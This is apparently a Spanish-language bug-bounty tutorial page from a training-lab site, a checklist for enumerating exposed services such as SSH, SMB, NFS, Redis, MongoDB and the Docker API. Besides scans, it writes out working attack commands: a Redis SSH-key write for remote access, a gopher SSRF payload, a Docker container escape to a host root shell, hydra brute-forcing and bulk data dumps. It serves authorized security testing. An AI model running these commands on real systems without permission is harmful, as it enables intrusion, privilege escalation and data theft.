Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel BásicoGratis

Services checklist — primer touch en cualquier target (SSH, FTP, SMB, NFS, Redis, Mongo, RDP)

Checklist práctico de primer enumeración para los 15 servicios más comunes en pentesting: ports, credenciales por defecto, exploits típicos y misconfigurations.

Gorka El Bochi11 de mayo de 202611 min

Respuesta rápida

Antes de cazar bugs web, mapea los servicios expuestos del target con un primer touch consistente. La metodología: nmap top-1000 + version detectionservice-specific probes (SSH banner, SMB null session, NFS showmount, Redis INFO, Mongo isMaster) → credenciales por defectomisconfigurations conocidas. Bounty típico de un Redis sin auth con CONFIG SET habilitado: €2000-€8000 si toca infra de producción.


El first touch — nmap correctamente

Antes de tocar nada, escanea bien. La diferencia entre nmap -p- random y un scan estructurado es 80% del trabajo.

bash
# Scan rápido top 1000 + version detect
nmap -sV -sC -T4 --top-ports 1000 -oN quick.txt target.com

# Full port — siempre que el target lo permita
nmap -p- -sV -sC -T4 -oN full.txt target.com

# UDP top 100 (lento pero a veces oro)
sudo nmap -sU --top-ports 100 -T4 -oN udp.txt target.com

[!tip] Banner grabbing rápido nc -nv target.com 22 o curl -v telnet://target.com:6379 te da banner + versión sin esperar al scan completo. Útil cuando ya tienes un IP candidato del recon.


Tabla de servicios — primer touch

ServicioPuertoComando inicialQué buscar
SSH22ssh -v targetBanner version, key auth only, CVE-2025-32433 (Erlang OTP)
FTP21ftp target (user anonymous)Anon login, vsftpd 2.3.4 backdoor, writable dirs
SMB139/445enum4linux-ng targetNull session, shares listables, user enumeration RID
NFS2049showmount -e targetExports world-readable, no_root_squash
RDP3389rdp-sec-check targetNLA disabled, BlueKeep (CVE-2019-0708), weak creds
Redis6379redis-cli -h target INFONo auth, CONFIG SET dir → RCE via SSH key write
Mongo27017mongosh "mongodb://target"No auth, show dbs lista todo, dump completo
Memcached11211echo "stats" | nc target 11211No auth, amplification reflector
Elastic9200curl target:9200/_cat/indicesNo auth, datos completos en _search
Kibana5601curl target:5601/api/statusPath traversal, prototype pollution antiguos
MySQL3306mysql -h target -u root -p ''Root sin password, anonymous user
Postgres5432psql -h target -U postgresTrust auth, default postgres/postgres
Docker2375/2376curl target:2375/versionAPI sin TLS → container escape trivial
Jenkins8080curl target:8080/scriptScript console sin auth → groovy RCE
RabbitMQ15672curl target:15672/api/whoamiDefault guest/guest

SSH — más allá del banner

bash
# Banner + algo soportados
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com

# Brute-force solo si la política del programa lo permite (raro)
hydra -L users.txt -P pass.txt ssh://target -t 4

Cosas que reportar:

  • ssh-rsa con MD5 como algoritmo de firma (deprecado desde OpenSSH 8.8).
  • Password auth habilitado en boxes de prod.
  • Banner que filtra versión exacta vulnerable a CVE conocido.
  • Erlang/OTP banner → potencialmente CVE-2025-32433 (pre-auth RCE).

SMB / NFS — los clásicos del lateral

bash
# SMB null session (sin password)
smbclient -L //target/ -N
enum4linux-ng -a target

# Listar shares y montar
smbmap -H target
mount -t cifs //target/share /mnt -o user=,password=

# NFS exports
showmount -e target
mount -t nfs target:/export /mnt

[!warning] no_root_squash Si showmount -e lista un export sin root_squash, montas como root local y escribes archivos con UID 0 → privesc instantánea en el server. Reportable como High en cualquier programa de bug bounty con infra interna en scope.


Redis sin autenticación — el clásico que paga

Redis sigue siendo el #1 target de "ups, lo dejé open" en 2026.

bash
redis-cli -h target.com
> INFO
> CONFIG GET *
> KEYS *

Si CONFIG SET no está deshabilitado:

bash
# Write SSH key como user de redis-server (típico)
redis-cli -h target FLUSHALL
redis-cli -h target SET x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h target CONFIG SET dir /var/lib/redis/.ssh/
redis-cli -h target CONFIG SET dbfilename "authorized_keys"
redis-cli -h target SAVE

Si está expuesto sólo a localhost pero hay SSRF en la app web → gopher://127.0.0.1:6379/_FLUSHALL%0d%0a... ejecuta los mismos comandos. Bounty real €3000-€8000.


MongoDB sin auth — dump completo

bash
# Conexión sin password
mongosh "mongodb://target.com:27017"
> show dbs
> use admin
> db.users.find().pretty()

# Dump completo
mongodump --host target.com --out ./loot/

Reportar siempre: count de documentos accesibles, tipos de datos sensibles (emails, hashes, PII), versión del Mongo (< 3.6 no requiere auth por defecto en muchos despliegues).


Frameworks expuestos — paths que siempre vale la pena probar

bash
# Concat de paths típicos por framework
ffuf -u https://target.com/FUZZ -w framework-paths.txt -mc 200,401,403
FrameworkPath delator
Symfony/_profiler, /app_dev.php
Laravel/.env, /telescope, /_debugbar
WordPress/wp-json/wp/v2/users, /xmlrpc.php
Django/admin/, /__debug__/
Rails/rails/info/routes
Spring Boot/actuator/env, /actuator/health
Express/api-docs, /swagger
Flask/console (Werkzeug debug)

Docker API expuesta

bash
# Check rápido
curl http://target:2375/version

# Listar containers
curl http://target:2375/containers/json

# Container escape — mountear el host root
docker -H tcp://target:2375 run -v /:/host -it alpine chroot /host /bin/bash

Esto es Critical instantáneo. La API Docker en puerto 2375 sin TLS = root del host.


Cloud storage — los buckets siguen siendo oro

bash
# AWS S3
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/ ./loot/ --recursive --no-sign-request

# GCS
curl https://storage.googleapis.com/target-bucket/

# Azure
curl "https://target.blob.core.windows.net/?comp=list"

Naming guess: target, target-assets, target-prod, target-backup, target-dev, target-uploads, target-static, target-staging.


Hunting checklist

  • nmap -sV -sC --top-ports 1000 antes de tocar nada
  • nmap -p- cuando el programa permita scans completos
  • Banner grab manual con nc/curl en cada puerto raro
  • SMB null session: enum4linux-ng -a target
  • NFS exports: showmount -e target → buscar no_root_squash
  • Redis: redis-cli INFO y check CONFIG GET dir
  • Mongo: mongosh sin password, show dbs
  • Elasticsearch: curl :9200/_cat/indices?v
  • Docker API: curl :2375/version → si responde, Critical
  • Cloud buckets: nombres derivados del dominio + S3Scanner
  • Frameworks: /actuator/env, /_profiler, /console, /telescope
  • Default creds en cada admin panel encontrado (Jenkins, RabbitMQ, Tomcat)

Labs relacionados

Practica enumeración de servicios sobre infra real con misconfigurations reproducidas de bug bounties reales en labs de Services Pentesting.

Practica esto en un lab

Services Checklist

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

Cómo encadenar misconfig de Redis con SSRF para RCE limpio en infra interna sin autenticación — y por qué Redis sigue siendo el #1 target de bugs entre subdomains internos en 2026.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados